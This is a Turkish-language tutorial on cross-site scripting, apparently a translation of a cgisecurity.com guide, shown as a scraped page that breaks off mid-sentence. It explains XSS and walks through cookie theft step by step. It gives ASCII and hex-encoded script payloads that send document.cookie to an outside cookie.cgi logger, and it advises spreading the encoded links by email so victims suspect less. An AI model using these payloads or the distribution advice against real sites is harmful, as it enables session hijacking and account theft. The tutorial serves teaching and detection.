• Embed Doc
  • Readcast
  • Collections
  • CommentGo Back
Download
 
Giriş
Günümüzdeki web siteler; kullanıcıların daha iyi vakit geçirebilmeleri için birçok dinamik içeriğe sahipler. Kullanıcıların ihtiyaçlarına ve ayarlarına göre farklı işlemler yapan webuygulamaları yoluyla işte bu dinamik içerik oluşur. Statik web sitelerine nazaran dinamik websiteleri "Cross Site Scripting"(Güvenlik uzmanları tarafından XSS diye de adlandırılır.) adıverilen bir tehlikeyle karşı karşıyadırlar. İşte bu dökümanımız da yeni gelişen bu tehlikenindaha iyi anlaşılmasını sağlamak, bu açığın tespiti ve koruması hakkında bir rehber olmasıamacıyla hazırlandı.
Cross Site Scripting Nedir?
Cross Site Scripting(Diğer adıyla XSS), web uygulaması kullanıcıdan zararlı bir veri topladığızaman meydana gelir. Bu veriler genellikle, zararlı içerikler barındıran(Yani içine zararlıkarakterler gömülmüş) hyper linkler sayesinde toplanır. Kullanıcı; herhangi bir web sitesinde,anlık mesajlaşma sistemlerinde veya bir e-posta mesajında bu linke tıklayacaktır. Genelliklesaldırgan bu zararlı kodun bir kısmını HEX veya diğer şifreleme teknikleriyle şifreleyecektir.Böylece linke tıkladıktan sonra yapılacak istek karşısında kurban daha az şüphelenecektir.Web uygulaması tarafından veriler toplanınca, zararlı verileri içeren bir sayfa kullanıcıyagösterilecektir. Bir çok ziyaretçi defteri ve forum programları, kullanıcılarına site içindekimesajlarında html ve javascript gömmelerine izin vermiştir. Şimdi örneğin ben siteye “john”olarak girmiş olayım. “joe” denen birisi de foruma zararlı javascript kodları içeren bir mesajatmış olsun ve ben bunu okuyayım. İşte burada “joe” nun benim sessionlarımı çalmasımümkün olabilir. Sadece o mesajı okumayla bile… İleriki detaylarda da “cookie çalma” için buna benzer hangi tür saldırıların işe yaradığını göreceğiz.
XSS ve CSS Ne Demektir?
Bir çok kişi Cross Site Scripting’e karşılık CSS demektedirler. Ama bu, Cascading StyleSheets (CSS) ile Cross Site Scripting arasında karışıklığına yol açmıştır. Bazı güvenlik uzmanları Cross Site Scripting için XSS demeyi uygun görmektedirler. Eğer birinden “XSSaçığı buldum.” şeklinde bir şey duyarsanız, kesinlikle Cross Site Scripting’ten bahsetmektedir.
Cross Site Scripting Tehlikeleri Nedir?
Saldırganlar genellikle, kurbanlarından verileri toplamak için güvenlik zafiyeti bulunan bir web uygulamasına; JavaScript, VBScript, ActiveX, HTML, veya Flash yerleştirirler. Hesaphırsızlığı, kullanıcı ayarlarının değiştirilmesi, cookie çalınması gibi her şey böylece mümkünolabilmektedir. XSS atakları için yeni kullanımlar her geçen gün keşfedilmektedir. Aşağıdakilinki verilen, Brett Moore tarafından yazılan makalede görebileceğiniz üzere, eğer bir kullanıcı, forum gibi herhangi bir mesaj boardunda sadece bir mesaj okusa bile, onun hostakarşı yapılan otomatik-saldırıya yani DoS’a dönüşebileceği görülmektedir.
Cross Site Scripting Saldırılarına Örnekler Neler Olabilir?
Birçok XSS açığı olan popüler PHP programlarından birisi PHPnuke’dir. PHPnuke, popülaritesi sebebiyle birçok saldırgan tarafından XSS açığı bulmak için hedef alınmaktadır.
 
Aşağıda, PHPnuke için keşfedilen ve açığa çıkarılan XSS açıklarına karşı birkaç link göreceksiniz.
XSS ile Cookie Hırsızlığı Nasıl Olmaktadır?
Şunu aklınızda bulundurun. Aşağıdakiler sadece bir saldırganın yönteminin basit bir örneğidir.Örneğimizde, “değişken” adlı bir “a.php” dosyasına normal bir web isteği göndererek crosssite scripting açığını exploit edeceğiz. Var olan XSS açıklarının en genel tipi budur.
Aşama 1: Hedefleme
Bir web sitesi üzerindeki web uygulamasında XSS açığı bulduktan sonra, sitenin cookiekullanıp kullanmadığını kontrol edin. Eğer web sitenin herhangi bir bölümü cookielerikullanıyorsa, kullanıcılardan bu cookieleri çalabilmek mümkün hale gelir.
Aşama 2:Test Etme
XSS açıkları, exploitlenmelerine bağlı olarak farklılık gösterir. Veri çıkışını garanti halegetirmek için bazı testlere ihtiyacımız olacak. Script içine kodlar ekleyerek, onun çıkışıdeğiştirilecektir ve sayfa bozuk gibi görülecektir.(Son kısım çok can alıcıdır ve saldırgansayfayı normal hale getirmek için kodlar üzerinde biraz rötuş yapmak zorunda olacaktır.)Ardından sitenin güvenlik zafiyeti bulunan bölgesini hedef alacak şekilde, bir URL içine bazıJavascript kodlarını(veya başka script dilleri) eklemeye ihtiyacınız olacak. Aşağıda XSSaçıklarının tespiti için kullanılan birkaç link var. Bu linkler, üzerine tıklanıldığı takdirdekullanıcıların cookieleriniwww.cgisecurity.com/cgi-bin/cookie.cgi adresine gönderecek ve  bunu gösterecektir. Eğer cookieleri gösteren bir sayfa görürseniz ondan sonrasındakullanıcının hesabına ait sessionları çalmanız mümkün olabilecektir.Javascript örnekleriyle Cookie Hırsızlığı
ASCII Kullanımı:
http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi- bin/cookie.cgi? '%20+document.cookie</script>
Hex Kullanımı:
http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f %63%75%6d%65%6e%74%2e%6c%6f %63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f %6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
 
1."><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?'+document.cookie</script>HEX %22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27 %68%74%74%70%3a%2f%2f %77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69 %2d%62%69%6e%2f %63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f %6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e2.<script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?'+document.cookie</script>HEX %3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f %63%61%74%69%6f%6e%3d%27%68%74%74 %70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e %2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c %2f%73%63%72%69%70%74%3e3.><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?'+document.cookie</script>HEX %3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74 %74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69 %6e%2f%63%6f%6f %6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65 %3c%2f%73%63%72%69%70%74%3eİşte bunlar, ileride kullanacağımız kötü niyetli javascript örnekleri. Bu örnekler, kullanıcılarıncookielerini toplamakta ve ardından cookieler ile birlikte cgisecurity.com’a istek göndermektedir. Cgisecurity.com daki scriptimiz her isteği ve her cookie’yi loglamaktadır.Basit bir ifade ile aşağıdaki gibi olmaktadır:Cookiemiz = user=zeno; id=021Scriptimiz = www.cgisecurity.com/cgi-bin/cookie.cgiSitemize aşağıdakine benzer şekilde bir istek göndermektedir.GET /cgi-bin/cookie.cgi?user=zeno;%20id=021 ( Not: %20, Hex şifrelemesinde bir boşluğuifade etmektedir.)Bu, kullanıcıların cookielerini çalmada son derece ilkel ama bir o kadar da etkili bir yöntemdir.
Aşama 3:XSS Çalıştırma
Oluşturduğunuz URL’yi dağıtın veya e-posta kullanın veya bu URL’nin çalıştırılması içindiğer yardımcı programları kullanın. Yalnız şuna emin olun: Kullanıcılara gönderdiğiniz URLler en azından HEX ile şifrelenmiş olsun.Örneğimizde; kullanıcıları sadece cookie.cgi’ye yönlendireceğiz. Daha fazla zamanı olan bir saldırgan, birkaç yönlendirme ve XSS karışımı gibi bir şey yaparak kullanıcıların cookielerini
of 00

Leave a Comment

You must be to leave a comment.
Submit
Characters: ...
You must be to leave a comment.
Submit
Characters: ...